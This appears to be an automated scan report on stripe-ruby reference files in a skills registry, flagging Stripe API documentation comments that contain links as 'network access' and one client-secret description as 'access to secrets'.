# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 86
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 88
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 90
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 118
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 120
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 122
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 135
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 154
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 156
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 158
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 171
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 198
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 200
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 202
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 215
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 232
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 234
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 236
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 249
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 265
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 267
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 269
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 282
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 308
# Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available balance for
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance_settings.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance_transaction.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Stripe creates them for every type of transaction that enters or leaves your Stripe account balance. # # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types) - Network accessline 8
# Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types) - Network accessline 22
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 61
# Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective. - Network accessline 67
# Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_transfer`, `contribution`
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/bank_account.rb
- Executable scriptline 1
Executable file - Network accessline 5
# These bank accounts are payment methods on `Customer` objects. # # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer - Network accessline 6
# # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer # destinations on `Account` objects for connected accounts. - Network accessline 7
# On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer - Network accessline 9
# They can be bank accounts or debit cards as well, and are documented in the links above. # # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers) - Network accessline 11
# Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers) - Network accessline 105
# Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account. - Network accessline 113
# Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. - Network accessline 119
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 127
# For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation performed is `new`. If Stripe can - Network accessline 129
# For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account details are
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/alert.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/alert_triggered.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_summary.rb
- Executable scriptline 1
Executable file - Network accessline 16
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_balance_transaction.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/credit_grant.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A credit grant is an API resource that documents the allocation of some billing credits to a customer. # # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits) - Network accessline 8
# Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits) - Network accessline 21
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 62
# The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combinati - Network accessline 64
# The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combination with `pri - Network accessline 106
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Meters specify how to aggregate meter events over a billing period. Meter events represent the actions that customers take in your system. Meters attach to prices and form the basis of the bill. # # Related guide: [Usage based bil - Network accessline 8
# Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_adjustment.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing/meter_event_summary.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing_portal/configuration.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal). - Network accessline 169
# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 223
# A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer portal. - Network accessline 242
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 254
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/billing_portal/session.rb
- Executable scriptline 1
Executable file - Network accessline 17
# and billing details. # # Related guide: [Customer management](https://docs.stripe.com/customer-management) - Network accessline 19
# Related guide: [Customer management](https://docs.stripe.com/customer-management) - Network accessline 142
# The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 144
# The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_ - Network accessline 146
# [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. - Network accessline 159
# The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable. - Network accessline 204
# Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows. - Network accessline 214
# The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separa
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/capability.rb
- Executable scriptline 1
Executable file - Network accessline 5
# This is an object representing a capability for a Stripe account. # # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities) - Network accessline 7
# Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities) - Network accessline 112
# Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/card.rb
- Executable scriptline 1
Executable file - Network accessline 7
# transfer to those cards later. # # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 9
# Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 58
# Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or recipients). The card c - Network accessline 62
# If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attaching a card to a Custo - Network accessline 88
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 98
# For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are stopped until account details ar
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/cash_balance.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/charge.rb
- Executable scriptline 1
Executable file - Network accessline 5
# The `Charge` object represents a single attempt to move money into your Stripe account. # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also - Network accessline 6
# PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also create Charges. - Network accessline 26
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 142
# An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines). - Network accessline 148
# Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe](https://docs.stripe.com/declines#blo - Network accessline 150
# An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's default review rule have the value ` - Network accessline 160
# Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar/reviews) for details. - Network accessline 241
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 243
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 669
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 677
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 692
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 700
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 746
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 754
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 769
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 777
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 873
# Installment details for this payment. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 875
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 982
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 986
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1008
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 1211
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1529
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1531
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1738
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1860
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1862
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1991
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 2087
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 2103
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2111
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2156
# Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a - Network accessline 2164
# The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. - Network accessline 2166
# The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details. - Network accessline 2180
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2190
# Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes). - Network accessline 2202
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 2206
# The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 2208
# Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details. - Network accessline 2220
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 2238
# The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 2240
# For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [ - Network accessline 2244
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 2250
# An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details. - Network accessline 2252
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. - Network accessline 2255
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 2256
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 2257
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 2259
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 2269
# Capture the payment of an existing, uncaptured charge that was created with the capture option set to false. # # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c - Network accessline 2270
# # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. # - Network accessline 2271
# Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail. - Network accessline 2273
# Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture). - Network accessline 2283
# This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/checkout/session.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Checkout Session represents your customer's session as they pay for # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout) - Network accessline 7
# one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout) - Network accessline 8
# or [Payment Links](https://docs.stripe.com/payments/payment-links). We recommend creating a - Network accessline 10
# # Once payment is successful, the Checkout Session will contain a reference # to the [Customer](https://docs.stripe.com/api/customers), and either the successful - Network accessline 11
# Once payment is successful, the Checkout Session will contain a reference # to the [Customer](https://docs.stripe.com/api/customers), and either the successful # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an a - Network accessline 12
# to the [Customer](https://docs.stripe.com/api/customers), and either the successful - Network accessline 13
# [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an active - Network accessline 14
# [Subscription](https://docs.stripe.com/api/subscriptions). - Network accessline 17
# to begin Checkout. # # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart) - Network accessline 19
# Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart) - Network accessline 31
# If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). - Network accessline 111
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise. - Network accessline 128
# The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise. - Network accessline 151
# The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility). - Network accessline 172
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 180
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 475
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 483
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 607
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1020
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 2022
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 2023
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 2025
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 2112
# Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing). - Network accessline 2134
# The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.js embedded checkout. # For ` - Network accessline 2135
# For `ui_mode: custom`, use the client secret with [initCheckout](https://docs.stripe.com/js/custom_checkout/init) on your front end. - Access to secretsline 2136
[Credential-related source omitted] - Network accessline 2145
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2147
# Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31. - Network accessline 2173
# A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard - Network accessline 2189
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 2201
# The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) inst - Network accessline 2227
# This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`. - Network accessline 2233
# The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) instead. - Network accessline 2247
# The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode. - Network accessline 2258
# The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checkout/custom-domains), the - Network accessline 2328
# Updates a Checkout Session object. # # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates) - Network accessline 2330
# Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/order.rb
- Executable scriptline 1
Executable file - Network accessline 71
# Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit. - Network accessline 89
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order. - Network accessline 103
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/product.rb
- Executable scriptline 1
Executable file - Network accessline 38
# Unique identifier for the object. For convenience, Climate product IDs are human-readable strings # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory) - Network accessline 39
# that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/climate/supplier.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/confirmation_token.rb
- Executable scriptline 1
Executable file - Network accessline 8
# # To learn more about how to use ConfirmationToken, visit the related guides: # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) - Network accessline 9
# To learn more about how to use ConfirmationToken, visit the related guides: # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) # - [Build two-step confirmation](https://docs.stripe. - Network accessline 10
# - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server) - Network accessline 11
# - [Build two-step confirmation](https://docs.stripe.com/payments/build-a-two-step-confirmation). - Network accessline 245
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 253
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 388
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 392
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 414
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 547
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 555
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 570
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 578
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 624
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 632
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 647
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 655
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 818
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 820
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 977
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1641
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1649
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1695
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen - Network accessline 1697
